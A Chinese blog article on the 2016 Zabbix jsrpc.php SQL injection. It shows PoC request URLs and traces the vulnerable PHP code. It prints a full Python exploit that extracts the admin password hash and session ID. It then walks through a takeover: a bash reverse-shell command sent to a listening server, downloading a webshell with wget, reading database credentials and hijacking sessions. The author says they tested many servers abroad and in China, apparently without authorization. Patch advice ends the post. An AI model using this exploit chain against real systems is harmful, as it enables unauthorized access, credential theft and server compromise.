百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

专家带你探讨Zabbix sql最新注入漏洞及其利用情况

toyiye 2024-06-21 12:34 10 浏览 0 评论

在企业和个人安全意识不断增强,对有安全防护的企业来说,渗透比过去相对困难一些,而一些对硬件、资产等管理平台仍然存在弱口令等漏洞,一旦通过这些漏洞打开入口,将对企业安全造成巨大的威胁。Zabbix 是用得非常广泛的网络监测软件,其存在sql注入,声称可以获取管理员密码,虽然Zabbix 3.0.3以下版本存在漏洞,但如何利用,如何测试,您掌握了吗?

本文带您实测Zabbix 漏洞,掌握其存在漏洞,其具体利用方法,了解其存在的危险。在本文初稿完成后,笔者对美国、韩国、我国安装有zabbix的服务器进行了安全测试,结果表明美国等西方国家,绝大部分服务器的zabbix漏洞已经修复,而我国在100台服务器中高达60台服务器未修护。在未修护的服务器中绝大部分已经被人渗透过,最后希望通过本文,能加强大家对漏洞的风险认识,尽自己的一点微薄之力。


1. Zabbix sql注入漏洞漏洞简介

Zabbix 是一个开源的企业级性能监控解决方案。近日,Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix 管理系统,也可通过script等功能轻易直接获取Zabbix 服务器的操作系统权限。Zabbix 2.2.x, 3.0.0-3.0.3版本存在该漏洞,可能导致敏感数据泄漏、服务器被恶意攻击者控制进而造成更多危害等,更多信息请访问其官方网站为http://www.Zabbix .com获取。

2.漏洞原理与分析

(1)高权限利用0day

Zabbix 最新SQL注入漏洞于8月12日由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure(http://seclists.org/fulldisclosure/2016/Aug/82),其提供的poc为:http://www.antian365.com/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

如果出现以下类似结果,则表明存在漏洞,该POC的前提必须是具备高权限用户。

  1. SQL (0.000361): INSERTINTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385);

  2. select * from users where (1=1)

  3. latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/Zabbix -svn/branches/2.2/frontends/php/include/profiles.inc.php:185

Brandon Perry提供一个0day,经测试效果不佳:

  1. /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

在关闭 display_errors 的环境下看不到效果,建议使用一个 sleep 函数,如果页面阻塞很久才返回,那说明漏洞是存在的,新的 PoC 如下:

  1. /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

(2)低权限利用0day可获取管理员加盟密码

Zabbix 提供了以guest用户权限登录系统,登录系统后按照以下进行访问:

http://www.antian365.com/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

http://www.antian365.com为目标站点,如果存在漏洞则会给出如下错误信息:

  1. <div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (191, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (192, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (193, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table>

其中ed733b8d10be225eceba344d533586为管理员的密码,经过核实该密码目前无法破解,且肯定不是管理员密码,很多Zabbix 缺省配置Admin密码Zabbix ,其md5密码值为5fce1b3e34b520afeffb37ce08c7cd66,如图1所示,Zabbix 实际md5之。而Guset用户的密码值为:d41d8cd98f00b204e9800998ecf8427e,也就是网上公开声称的可以获取管理员的密码那个0day的POC存在错误。

图1 Zabbix 密码解密

(3)存在注入点分析

在漏洞文件jsrpc.php中:

  1. $requestType = getRequest('type', PAGE_TYPE_JSON);

  2. if ($requestType == PAGE_TYPE_JSON) {

  3. $http_request = new CHttpRequest();

  4. $json = new CJson();

  5. $data = $json->decode($http_request->body(), true);

  6. }

  7. else {

  8. $data = $_REQUEST;

  9. }

  10. $page['title'] = 'RPC';

  11. $page['file'] = 'jsrpc.php';

  12. $page['type'] = detect_page_type($requestType);

  13. require_once dirname(__FILE__).'/include/page_header.php';

  14. if (!is_array($data) || !isset($data['method'])

  15. || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {

  16. fatal_error('Wrong RPC call to JS RPC!');

  17. }

  18. $result = [];

  19. switch ($data['method']) {

  20. ...

  21. case'screen.get':

  22. $result = '';

  23. $screenBase = CScreenBuilder::getScreen($data);

  24. if ($screenBase !== null) {

  25. $screen = $screenBase->get();

  26. if ($data['mode'] == SCREEN_MODE_JS) {

  27. $result = $screen;

  28. if (is_object($screen)) {

  29. $result = $screen->toString();

  30. ...

  31. require_once dirname(__FILE__).'/include/page_footer.php';

通过类 CScreenBuilder 中的 getScreen 方法处理 $data 传入的数据。继续跟踪 CScreenBuilder 类:

  1. /**

  2. * Init screen data.

  3. *

  4. * @param array$options

  5. * @param boolean$options['isFlickerfree']

  6. * @param string$options['pageFile']

  7. * @param int$options['mode']

  8. * @param int$options['timestamp']

  9. * @param int$options['hostid']

  10. * @param int$options['period']

  11. * @param int$options['stime']

  12. * @param string$options['profileIdx']

  13. * @param int$options['profileIdx2']

  14. * @param boolean$options['updateProfile']

  15. * @param array$options['screen']

  16. */

  17. publicfunction __construct(array$options = []) {

  18. $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;

  19. $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;

  20. $this->timestamp = !emptyempty($options['timestamp']) ? $options['timestamp'] : time();

  21. $this->hostid = !emptyempty($options['hostid']) ? $options['hostid'] : null;

  22. // get page file

  23. if (!emptyempty($options['pageFile'])) {

  24. $this->pageFile = $options['pageFile'];

  25. }

  26. else {

  27. global$page;

  28. $this->pageFile = $page['file'];

  29. }

  30. // get screen

  31. if (!emptyempty($options['screen'])) {

  32. $this->screen = $options['screen'];

  33. }

  34. elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {

  35. $this->screen = API::Screen()->get([

  36. 'screenids' => $options['screenid'],

  37. 'output' => API_OUTPUT_EXTEND,

  38. 'selectScreenItems' => API_OUTPUT_EXTEND,

  39. 'editable' => ($this->mode == SCREEN_MODE_EDIT)

  40. ]);

  41. if (!emptyempty($this->screen)) {

  42. $this->screen = reset($this->screen);

  43. }

  44. else {

  45. access_deny();

  46. }

  47. }

  48. // calculate time

  49. $this->profileIdx = !emptyempty($options['profileIdx']) ? $options['profileIdx'] : '';

  50. $this->profileIdx2 = !emptyempty($options['profileIdx2']) ? $options['profileIdx2'] : null;

  51. $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

  52. $this->timeline = CScreenBase::calculateTime([

  53. 'profileIdx' => $this->profileIdx,

  54. 'profileIdx2' => $this->profileIdx2,

  55. 'updateProfile' => $this->updateProfile,

  56. 'period' => !emptyempty($options['period']) ? $options['period'] : null,

  57. 'stime' => !emptyempty($options['stime']) ? $options['stime'] : null

  58. ]);

  59. }

CScreenBuilder 类对 $profiles 进行了更新,并且对 PoC 中的 profileIdx2 参数进行了赋值,但还没有传入数据库查询。

漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php会调用Cprofile 类:

  1. if (CProfile::isModified()) {

  2. DBstart();

  3. $result = CProfile::flush();

  4. DBend($result);

  5. }

跟踪 flush 函数:

  1. publicstaticfunctionflush() {

  2. $result = false;

  3. if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {

  4. $result = true;

  5. foreach (self::$insertas$idx => $profile) {

  6. foreach ($profileas$idx2 => $data) {

  7. $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);

  8. }

  9. }

  10. ksort(self::$update);

  11. foreach (self::$updateas$idx => $profile) {

  12. ksort($profile);

  13. foreach ($profileas$idx2 => $data) {

  14. $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);

  15. }

  16. }

  17. }

  18. return$result;

  19. }

  20. ...

  21. privatestaticfunction insertDB($idx, $value, $type, $idx2) {

  22. $value_type = self::getFieldByType($type);

  23. $values = [

  24. 'profileid' => get_dbid('profiles', 'profileid'),

  25. 'userid' => self::$userDetails['userid'],

  26. 'idx' => zbx_dbstr($idx),

  27. $value_type => zbx_dbstr($value),

  28. 'type' => $type,

  29. 'idx2' => $idx2

  30. ];

//注入触发点

  1. return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');

  2. }

至此,SQL注入产生 。

(4)可供利用的exp

在独自等待的博客上面找到一个python的exp(http://www.waitalone.cn/Zabbix -sql-1.html)通过实际测试可以顺利获取管理员密码以及session,如图2所示,利用方法为:

  1. python Zabbix .py http://114.111.111.1:81

图2 获取Zabbix 管理员密码

将以下代码保存为zabbix.py即可:

  1. #!/usr/bin/env python

  2. # -*- coding: gbk -*-

  3. # -*- coding: utf_8 -*-

  4. # Date: 2016/8/18

  5. # Created by 独自等待

  6. # 博客 http://www.waitalone.cn/

  7. import urllib2

  8. import sys, os

  9. import re

  10. def deteck_Sql():

  11. u'检查是否存在SQL注入'

  12. payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"

  13. try:

  14. response = urllib2.urlopen(url + payload, timeout=10).read()

  15. except Exception, msg:

  16. print msg

  17. else:

  18. key_reg = re.compile(r"INSERT\s*INTO\s*profiles")

  19. if key_reg.findall(response):

  20. returnTrue

  21. def sql_Inject(sql):

  22. u'获取特定sql语句内容'

  23. payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(

  24. sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"

  25. try:

  26. response = urllib2.urlopen(payload, timeout=10).read()

  27. except Exception, msg:

  28. print msg

  29. else:

  30. result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")

  31. results = result_reg.findall(response)

  32. if results:

  33. return results[0]

  34. if __name__ == '__main__':

  35. # os.system(['clear', 'cls'][os.name == 'nt'])

  36. print'+' + '-' * 60 + '+'

  37. print'\t Python Zabbix<3.0.4 SQL注入 Exploit'

  38. print'\t Blog:http://www.waitalone.cn/'

  39. print'\t\t Code BY: 独自等待'

  40. print'\t\t Time:2016-08-18'

  41. print'+' + '-' * 60 + '+'

  42. if len(sys.argv) != 2:

  43. print'用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'

  44. print'实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'

  45. sys.exit()

  46. url = sys.argv[1]

  47. if url[-1] != '/': url += '/'

  48. passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"

  49. session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"

  50. if deteck_Sql():

  51. print u'Zabbix 存在SQL注入漏洞!\n'

  52. print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)

  53. print u'管理员 Session_id:%s' % sql_Inject(session_sql)

  54. else:

  55. print u'Zabbix 不存在SQL注入漏洞!\n'


3.漏洞实际利用方法探讨

对Zabbix 漏洞的实际利用是指在获取管理员密码后,通过管理中心添加脚本,执行脚本命令来获取反弹shell,通过shell来提权或者执行其它操作。

(1)获取管理员密码

Zabbix SQL注入漏洞可以很方便的获取管理员的密码,通过exp直接可以获取管理员密码,另外一种方法就是暴力暴力,Zabbix 默认管理员账号Admin/zabbix 、admin/zabbix 。Zabbix sql注入漏洞获取管理员密码exp下载地址http://www.antian365.com/forum.php?mod=viewthread&tid=629&extra=

(2)创建脚本

登录系统后,单击“管理”-“脚本”-“创建脚本”,如果是英文,则是Administration- Scripts-Create Scripts。如图3所示。在名称中随便输入一个,例如cat,在命令中输入“bash -i >& /dev/tcp/122.11x.47.xx/4433 0>&1”,其中的122.11x.47.xx为监听的独立IP的服务器。

图3创建反弹脚本

(3)执行脚本命令

在执行脚本命令前,需要在监听服务器上使用“nc –vv –l –p 4433”监听4433端口,完毕后,在Zabbix 管理主界面,单击“监测中”,然后单击主机列表下的服务器,右键弹出的菜单中选择刚才创建的命令,如图4所示,选择刚才创建的脚本执行即可,执行成功后会成功获取的反弹的shell,如图5所示。

图4执行命令

图5获取反弹的shell

(4)查看配置文件并获取webshell

获取终端shell后,可以通过locate *.php或者find –name “.php”命令查找php文件所在具体位置,到该目录后,如果可写,则通过wget http://www.antian365.com/shell.txt命令下载webshell到本地,并执行chmod +x shell.txt命令给shell.txt文件可执行权限,最后将该文件重命名为php文件即可,如图6所示,成功获取webshell。

图6获取webshell

如果网站当前用户权限为root,则可以通过读取conf/Zabbix .conf文件读取配置文件内容,如图7所示,可以获取数据库用户和密码。

图7读取配置文件内容

(5)linux提权

在实际测试过程中,有部分服务器是采用root账号,绝大部分是Zabbix 账号,也就是普通用户,对于linux提权,需要查看其相应的内核版本或者应用程序存在漏洞,根据相应的漏洞进行编译和执行,如果存在漏洞则可以获取root权限,反之则无法提权。

(6)在zabbix还可以通过sessionid进行登录

使用Tamper插件,开启Tamper插件,在抓取到的包中,通过修改zbx_sessionid值为SQL注入获取的sessionid值,提交即可进入后台,如图8,图9所示。这种情况主要适合无法破解zabbix通过注入获取到的md5密码。

图8修改zbx_sessionid值

图9成功登录后台

4.在线网站漏洞检测

(1)https://www.vulbox.com/lab

(2)https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026

5、漏洞修复方案

(1)将当前版本升级到最新版本,补丁更新ttps://support.Zabbix .com/browse/ZBX-11023

(2)打补丁

(3)关闭guest账号,或者直接将guest账号删除。

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码